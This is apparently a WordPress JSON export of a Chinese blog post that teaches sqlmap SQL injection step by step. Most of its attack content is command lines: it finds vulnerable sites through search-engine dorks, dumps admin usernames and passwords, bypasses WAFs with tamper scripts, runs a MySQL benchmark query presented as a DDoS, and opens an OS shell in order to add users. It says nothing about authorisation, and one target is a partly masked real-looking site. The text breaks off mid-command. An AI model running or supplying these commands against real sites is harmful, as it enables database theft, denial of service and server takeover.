﻿{"id":523,"date":"2020-09-02T11:35:46","date_gmt":"2020-09-02T03:35:46","guid":{"rendered":"https:\/\/byy3.com\/?p=523"},"modified":"2021-03-24T01:26:38","modified_gmt":"2021-03-23T17:26:38","slug":"sqlmap%e6%b3%a8%e5%85%a5%e6%95%99%e7%a8%8b-11%e7%a7%8d%e5%b8%b8%e8%a7%81sqlmap%e4%bd%bf%e7%94%a8%e6%96%b9%e6%b3%95%e8%af%a6%e8%a7%a3","status":"publish","type":"post","link":"https:\/\/byy3.com\/?p=523","title":{"rendered":"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3"},"content":{"rendered":"<div>\n<blockquote><p><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-full wp-image-1043\" data-original=\"https:\/\/byy3.com\/wp-content\/uploads\/2020\/09\/2021032317211031.png\" src=\"https:\/\/byy3.com\/wp-content\/themes\/MNews%20V2.4\/images\/post-loading.gif\" width=\"724\" height=\"362\" title=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe\" alt=\"SQLMAP\u6ce8\u5165\u6559\u7a0b-11\u79cd\u5e38\u89c1SQLMAP\u4f7f\u7528\u65b9\u6cd5\u8be6\u89e3\u63d2\u56fe\" \/><\/p>\n<p>sqlmap\u4e5f\u662f\u6e17\u900f\u4e2d\u5e38\u7528\u7684\u4e00\u4e2a\u6ce8\u5165\u5de5\u5177\uff0c\u5176\u5b9e\u5728\u6ce8\u5165\u5de5\u5177\u65b9\u9762\uff0c\u4e00\u4e2asqlmap\u5c31\u8db3\u591f\u7528\u4e86\uff0c\u53ea\u8981\u4f60\u7528\u7684\u719f\uff0c\u79d2\u6740\u5404\u79cd\u5de5\u5177\uff0c\u53ea\u662f\u4e00\u4e2a\u4fbf\u6377\u6027\u95ee\u9898\uff0csql\u6ce8\u5165\u53e6\u4e00\u65b9\u9762\u5c31\u662f\u624b\u5de5\u515a\u4e86\uff0c\u8fd9\u4e2a\u5c31\u53e6\u5f53\u522b\u8bba\u4e86\u3002\u4eca\u5929\u628a\u6211\u4e00\u76f4\u4ee5\u6765\u6574\u7406\u7684sqlmap\u7b14\u8bb0\u53d1\u5e03\u4e0a\u6765\u4f9b\u5927\u5bb6\u53c2\u8003\u3002<\/p><\/blockquote>\n<\/div>\n<p>\u4f7f\u7528sqliv2\u501f\u52a9\u641c\u7d22\u5f15\u64cegoogle bing yahoo\u641c\u7d22\u76ee\u524d\u53ea\u80fd\u7528 bing<\/p>\n<p>\u6216\u4f7f\u7528 <a href=\"https:\/\/byy3.com\/397.html\">https:\/\/byy3.com\/397.html<\/a> <a href=\"https:\/\/byy3.com\/397.html\">\u8c37\u6b4c\u9ed1\u5ba2\u641c\u7d22\u5f15\u64ce<\/a><\/p>\n<p>sqlmap\u6279\u91cf\u6ce8\u5165\u626b\u63cf\u00a0 sqlmap -m urllist.txt -\u2013batch\u5f53\u524d\u76ee\u5f55\u7684urllist.txt<\/p>\n<p>&nbsp;<\/p>\n<p><strong>\u6700\u65b0\u7248sqliv2<\/strong><\/p>\n<p><strong>\u725b\u81ea\u52a8\u68c0\u6d4b\u722c\u884c\u7f51\u7ad9\u68c0\u6d4b\u6ce8\u5165\u70b9<\/strong> python sqliv.py -t \"http:\/\/c***cpb.com\/login.asp?act=4\"<\/p>\n<p>\u6216\u8005\u4f7f\u7528\u641c\u7d22\u5f15\u64ce\u00a0python sqliv.py -d \"inurl:index.php?id=\" -e google<\/p>\n<p>\u4e00\u5171\u670911\u79cd\u5e38\u89c1SQLmap\u4f7f\u7528\u65b9\u6cd5\uff1a<\/p>\n<p>\u4e00\u3001SQLMAP\u7528\u4e8eAccess\u6570\u636e\u5e93\u6ce8\u5165<\/p>\n<p>(1) \u731c\u89e3\u662f\u5426\u80fd\u6ce8\u5165<\/p>\n<div>\n<div>\n<div id=\"highlighter_952777\">\n<table style=\"height: 62px;\" border=\"0\" width=\"587\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>win:\u00a0python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"<\/div>\n<div>Linux :\u00a0.lmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(2) \u731c\u89e3\u8868<\/p>\n<div>\n<div>\n<div id=\"highlighter_637025\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>win:\u00a0python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"\u00a0--tables<\/div>\n<div>Linux:\u00a0.lmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"\u00a0--tables<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(3) \u6839\u636e\u731c\u89e3\u7684\u8868\u8fdb\u884c\u731c\u89e3\u8868\u7684\u5b57\u6bb5(\u5047\u5982\u901a\u8fc72\u5f97\u5230\u4e86admin\u8fd9\u4e2a\u8868)<\/p>\n<div>\n<div>\n<div id=\"highlighter_803506\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>win:\u00a0python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"\u00a0--columns -T admin<\/div>\n<div>Linux:\u00a0.lmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"\u00a0--columns -T admin<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(4) \u6839\u636e\u5b57\u6bb5\u731c\u89e3\u5185\u5bb9(\u5047\u5982\u901a\u8fc73\u5f97\u5230\u5b57\u6bb5\u4e3ausername\u548cpassword)<\/p>\n<div>\n<div>\n<div id=\"highlighter_231831\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<div>3<\/div>\n<\/td>\n<td>\n<div>\n<div>win:\u00a0python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"\u00a0--dump -T admin -C \"username,password\"<\/div>\n<div>Linux:\u00a0.lmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7\" rel=\"nofollow\" >http:\/\/www.xxx.com\/en\/CompHonorBig.asp?id=7<\/a>\"\u00a0--dump -T admin -C<\/div>\n<div>\"username,[url=]B[\/url]password\"<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u4e8c\u3001SQLMAP\u7528\u4e8eCookie\u6ce8\u5165<br \/>\n*********\u63a8\u8350\u4f7f\u7528<br \/>\n(1) cookie\u6ce8\u5165\uff0c\u731c\u89e3\u8868<\/p>\n<div>\n<div>\n<div id=\"highlighter_57941\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>win :\u00a0python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.org\/jsj\/shownews.asp\" rel=\"nofollow\" >http:\/\/www.xxx.org\/jsj\/shownews.asp<\/a>\"\u00a0--cookie \"id=31\" --table --level 2<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(2) \u731c\u89e3\u5b57\u6bb5\uff0c(\u901a\u8fc71\u7684\u8868\u731c\u89e3\u5b57\u6bb5\uff0c\u5047\u5982\u8868\u4e3aadmin)<\/p>\n<div>\n<div>\n<div id=\"highlighter_679118\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>win :python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.org\/jsj\/shownews.asp\" rel=\"nofollow\" >http:\/\/www.xxx.org\/jsj\/shownews.asp<\/a>\"\u00a0--cookie \"id=31\" --columns -T<\/div>\n<div>admin --level 2<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(3) \u731c\u89e3\u5185\u5bb9<\/p>\n<div>\n<div>\n<div id=\"highlighter_327158\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>win :python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.org\/jsj\/shownews.asp\" rel=\"nofollow\" >http:\/\/www.xxx.org\/jsj\/shownews.asp<\/a>\"\u00a0--cookie \"id=31\" --dump -T<\/div>\n<div>admin -C \"username,password\"\u00a0--level 2<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u4e09\u3001SQLMAP\u7528\u4e8emysql\u4e2dDDOS\u653b\u51fb(1) \u83b7\u53d6\u4e00\u4e2aShell<\/p>\n<div>\n<div>\n<div id=\"highlighter_673169\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<div>3<\/div>\n<div>4<\/div>\n<\/td>\n<td>\n<div>\n<div>win:<\/div>\n<div>python sqlmap.py -u [url]http:\/\/192.168.159.1\/news.php?id=1[\/url] --sql-shell<\/div>\n<div>Linux:<\/div>\n<div>sqlmap -u [url]http:\/\/192.168.159.1\/news.php?id=1[\/url] --sql-shell<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(2) \u8f93\u5165\u6267\u884c\u8bed\u53e5\u5b8c\u6210DDOS\u653b\u51fb<\/p>\n<div>\n<div>\n<div id=\"highlighter_105993\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>select\u00a0benchmark(99999999999,0x70726f62616e646f70726f62616e646f70726f62616e646f)<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u56db\u3001SQLMAP\u7528\u4e8emysql\u6ce8\u5165<\/p>\n<p>(1) \u67e5\u627e\u6570\u636e\u5e93<\/p>\n<div>\n<div>\n<div id=\"highlighter_140709\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/link.php?id=321\" rel=\"nofollow\" >http:\/\/www.xxx.com\/link.php?id=321<\/a>\"\u00a0--dbs<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(2) \u901a\u8fc7\u7b2c\u4e00\u6b65\u7684\u6570\u636e\u5e93\u67e5\u627e\u8868(\u5047\u5982\u6570\u636e\u5e93\u540d\u4e3adataname)<\/p>\n<div>\n<div>\n<div id=\"highlighter_873494\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/link.php?id=321\" rel=\"nofollow\" >http:\/\/www.xxx.com\/link.php?id=321<\/a>\"\u00a0-D dataname --tables<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(3) \u901a\u8fc72\u4e2d\u7684\u8868\u5f97\u51fa\u5217\u540d(\u5047\u5982\u8868\u4e3atable_name)<\/p>\n<div>\n<div>\n<div id=\"highlighter_52222\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/link.php?id=321\" rel=\"nofollow\" >http:\/\/www.xxx.com\/link.php?id=321<\/a>\"\u00a0-D dataname -T table_name --columns<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(4) \u83b7\u53d6\u5b57\u6bb5\u7684\u503c(\u5047\u5982\u626b\u63cf\u51faid,user,password\u5b57\u6bb5)<\/p>\n<div>\n<div>\n<div id=\"highlighter_687158\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/www.xxx.com\/link.php?id=321\" rel=\"nofollow\" >http:\/\/www.xxx.com\/link.php?id=321<\/a>\"\u00a0-D dataname -T table_name -C<\/div>\n<div>\"id,user,password\"\u00a0--dump<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u4e94\u3001SQLMAP\u4e2dpost\u767b\u9646\u6846\u6ce8\u5165<\/p>\n<p>(1) \u5176\u4e2d\u7684search-test.txt\u662f\u901a\u8fc7\u6293\u5305\u5de5\u5177burp suite\u6293\u5230\u7684\u5305\u5e76\u628a\u6570\u636e\u4fdd\u5b58\u4e3a\u8fd9\u4e2atxt\u6587\u4ef6<\/p>\n<div>\n<blockquote><p>\u6211\u4eec\u5728\u4f7f\u7528Sqlmap\u8fdb\u884cpost\u578b\u6ce8\u5165\u65f6\uff0c\u7ecf\u5e38\u4f1a\u51fa\u73b0\u8bf7\u6c42\u9057\u6f0f\u5bfc\u81f4\u6ce8\u5165\u5931\u8d25\u7684\u60c5\u51b5\u3002\u8fd9\u91cc\u5206\u4eab\u4e00\u4e2a\u5c0f\u6280\u5de7\uff0c\u5373\u7ed3\u5408burpsuite\u6765\u4f7f\u7528sqlmap\uff0c\u7528\u8fd9\u79cd\u65b9\u6cd5\u8fdb\u884cpost\u6ce8\u5165\u6d4b\u8bd5\u4f1a\u66f4\u51c6\u786e\uff0c\u64cd\u4f5c\u8d77\u6765\u4e5f\u975e\u5e38\u5bb9\u6613\u3002<\/p><\/blockquote>\n<\/div>\n<p>1. \u6d4f\u89c8\u5668\u6253\u5f00\u76ee\u6807\u5730\u5740http:\/\/\u00a0<a>www.xxx.com<\/a>\u00a0\/Login.asp<\/p>\n<p>2. \u914d\u7f6eburp\u4ee3\u7406(127.0.0.1:8080)\u4ee5\u62e6\u622a\u8bf7\u6c42<\/p>\n<p>3. \u70b9\u51fblogin\u8868\u5355\u7684submit\u6309\u94ae<\/p>\n<p>4. \u8fd9\u65f6\u5019Burp\u4f1a\u62e6\u622a\u5230\u4e86\u6211\u4eec\u7684\u767b\u5f55POST\u8bf7\u6c42<\/p>\n<p>5. \u628a\u8fd9\u4e2apost\u8bf7\u6c42\u590d\u5236\u4e3atxt, \u6211\u8fd9\u547d\u540d\u4e3asearch-test.txt \u7136\u540e\u628a\u5b83\u653e\u81f3sqlmap\u76ee\u5f55\u4e0b<\/p>\n<p>6. \u8fd0\u884csqlmap\u5e76\u4f7f\u7528\u5982\u4e0b\u547d\u4ee4\uff1a<\/p>\n<div>\n<div>\n<div id=\"highlighter_311705\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>.\/sqlmap.py -r search-test.txt -p tfUPass<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u8fd9\u91cc\u53c2\u6570-r \u662f\u8ba9sqlmap\u52a0\u8f7d\u6211\u4eec\u7684post\u8bf7\u6c42rsearch-test.txt\uff0c\u800c-p \u5927\u5bb6\u5e94\u8be5\u6bd4\u8f83\u719f\u6089\uff0c\u6307\u5b9a\u6ce8\u5165\u7528\u7684\u53c2\u6570\u3002<\/p>\n<p>\u6ce8\u5165\u70b9\uff1a<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/testasp.vulnweb.com\/Login.asp\" target=\"_blank\" rel=\"noopener noreferrer\" rel=\"nofollow\" >http:\/\/testasp.vulnweb.com\/Login.asp<\/a><\/p>\n<p>\u51e0\u79cd\u6ce8\u5165\u65b9\u5f0f\uff1a.\/sqlmap.py -r search-test.txt -p tfUPass<\/p>\n<p>(2) \u81ea\u52a8\u7684\u641c\u7d22<\/p>\n<div>\n<div><\/div>\n<div>\n<div id=\"highlighter_982902\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -u [url]http:\/\/testasp.vulnweb.com\/Login.asp[\/url] --forms<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(3) \u6307\u5b9a\u53c2\u6570\u641c\u7d22<\/p>\n<div>\n<div>\n<div id=\"highlighter_680746\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -u [url]http:\/\/testasp.vulnweb.com\/Login.asp[\/url] --data \"tfUName=321&amp;tfUPass=321\"<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u516d\u3001SQLMAP\u4e2dGoogle\u641c\u7d22\u6ce8\u5165<\/p>\n<p>inurl\u540e\u9762\u7684\u8bed\u8a00\u662f\u7531\u81ea\u5df1\u5b9a\u7684<\/p>\n<p>\u6ce8\u5165\u8fc7\u7a0b\u4e2d\u5982\u679c\u9009y\u662f\u6ce8\u5165\uff0c\u5982\u679c\u4e0d\u662f\u9009n<\/p>\n<div>\n<div>\n<div id=\"highlighter_19033\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -g inurl:php?id=<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u4e03\u3001SQLMAP\u4e2d\u7684\u8bf7\u6c42\u5ef6\u8fdf<\/p>\n<p>\u53c2\u6570 --delay --safe-freq<\/p>\n<div>\n<div>\n<div id=\"highlighter_256899\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py --dbs -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html\" rel=\"nofollow\" >http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html<\/a>\" --delay 1<\/div>\n<div>python sqlmap.py --dbs -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html\" rel=\"nofollow\" >http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html<\/a>\" --safe-freq 3<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u53c2\u6570<\/p>\n<p>\u516b\u3001SQLMAP\u7ed5\u8fc7WAF\u9632\u706b\u5899<\/p>\n<p>\u6ce8\u5165\u70b9:<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/192.168.159.1\/news.php?id=1\" target=\"_blank\" rel=\"noopener noreferrer\" rel=\"nofollow\" >http:\/\/192.168.159.1\/news.php?id=1<\/a><\/p>\n<div>\n<div>\n<div id=\"highlighter_857658\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -u [url]http:\/\/192.168.159.1\/news.php?id=1[\/url] -v 3\u00a0--dbs --batch --tamper \"space2morehash.py\"<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>space2morehash.py\u4e2d\u53ef\u4ee5\u66ff\u6362space2hash.py\u6216\u8005base64encode.py\u6216\u8005charencode.py<\/p>\n<p>\u90fd\u662f\u7f16\u7801\u65b9\u5f0f<\/p>\n<p>space2hash.py base64encode.py charencode.py<\/p>\n<p>\u4e5d\u3001SQLMAP\u67e5\u770b\u6743\u9650<\/p>\n<div>\n<div>\n<div id=\"highlighter_513813\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -u [url]http:\/\/192.168.159.1\/news.php?id=1[\/url] --privileges<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u5341\u3001SQLMAP\u4f2a\u9759\u6001\u6ce8\u5165(1) \u67e5\u627e\u6570\u636e\u5e93<\/p>\n<div>\n<div>\n<div id=\"highlighter_215898\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html\" rel=\"nofollow\" >http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html<\/a>\"\u00a0--dbs<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(2) \u901a\u8fc71\u4e2d\u7684\u6570\u636e\u5e93\u67e5\u627e\u5bf9\u5e94\u7684\u8868 (\u5047\u5982\u901a\u8fc71\uff0c\u5f97\u5230\u7684\u662fdataname)<\/p>\n<div>\n<div>\n<div id=\"highlighter_757186\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html\" rel=\"nofollow\" >http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html<\/a>\"\u00a0-D dataname --tables<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(3) \u901a\u8fc72\u4e2d\u7684\u6570\u636e\u8868\u5f97\u5230\u5b57\u6bb5(\u5047\u5982\u5f97\u5230\u7684\u662ftablename\u8868)<\/p>\n<div>\n<div>\n<div id=\"highlighter_863892\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html\" rel=\"nofollow\" >http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html<\/a>\"\u00a0-D dataname -T<\/div>\n<div>tablename --columns<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>(4) \u901a\u8fc73\u5f97\u5230\u5b57\u6bb5\u503c(\u5047\u5982\u4ece3\u4e2d\u5f97\u5230\u5b57\u6bb5id\uff0cpassword)<\/p>\n<div>\n<div>\n<div id=\"highlighter_173888\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<div>2<\/div>\n<\/td>\n<td>\n<div>\n<div>python sqlmap.py -u \"<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html\" rel=\"nofollow\" >http:\/\/xxx.cn\/index.php\/Index\/view\/id\/40.html<\/a>\"\u00a0-D dataname -T<\/div>\n<div>tablename -C \"password\"\u00a0--dump<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u5341\u4e00\u3001SQLMAP\u6ce8\u5165\u70b9\u6267\u884c\u547d\u4ee4\u4e0e\u4ea4\u4e92\u5199shell<\/p>\n<p>(1) \u6ce8\u5165\u70b9\uff1a<a href=\"https:\/\/byy3.com\/go\/?url=http:\/\/192.168.159.1\/news.php?id=1\" target=\"_blank\" rel=\"noopener noreferrer\" rel=\"nofollow\" >http:\/\/192.168.159.1\/news.php?id=1<\/a><\/p>\n<p>\u6b64\u5904\u91c7\u7528\u7684\u662fLinux\u7cfb\u7edf<\/p>\n<div>\n<div>\n<div id=\"highlighter_184126\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -u [url]http:\/\/192.168.159.1\/news.php?id=1[\/url] --os-cmd=ipconfig<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u51fa\u73b0\u8bed\u8a00\u7684\u9009\u62e9\u6839\u636e\u5b9e\u9645\u7684\u6d4b\u8bd5\u7f51\u7ad9\u9009\u62e9\u8bed\u8a00<\/p>\n<p>\u6307\u5b9a\u76ee\u6807\u7ad9\u70b9D:\/www\/<\/p>\n<p>(2) \u83b7\u53d6Shell<\/p>\n<div>\n<div>\n<div id=\"highlighter_597100\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -u [url]http:\/\/192.168.159.1\/news.php?id=1[\/url] --os-shell<\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<\/div>\n<\/div>\n<\/div>\n<p>\u51fa\u73b0\u8bed\u8a00\u7684\u9009\u62e9\u6839\u636e\u5b9e\u9645\u7684\u6d4b\u8bd5\u7f51\u7ad9\u9009\u62e9\u8bed\u8a00<\/p>\n<p>\u6307\u5b9a\u76ee\u6807\u7ad9\u70b9D:\/www\/<\/p>\n<p>\u8f93\u5165ipconfig\/all<\/p>\n<p>\u521b\u5efa\u7528\u6237\u548c\u5220\u9664\u7528\u6237<\/p>\n<p>\u53ea\u8981\u6743\u9650\u8db3\u591f\u5927\uff0c\u4f60\u53ef\u4ee5\u8f93\u5165\u4f7f\u7528\u4efb\u4f55\u547d\u4ee4\u3002<\/p>\n<p>\u5176\u4ed6\u547d\u4ee4\u53c2\u8003\u4e0b\u9762\uff1a<\/p>\n<p>\u4ece\u6570\u636e\u5e93\u4e2d\u641c\u7d22\u5b57\u6bb5<\/p>\n<div>\n<div>\n<div id=\"highlighter_613547\">\n<table border=\"0\" cellspacing=\"0\" cellpadding=\"0\">\n<tbody>\n<tr>\n<td>\n<div>1<\/div>\n<\/td>\n<td>\n<div>\n<div>sqlmap -r \u201cc:\\tools\\request.txt\u201d \u2013dbms mysql -D dedecms \u2013search -C 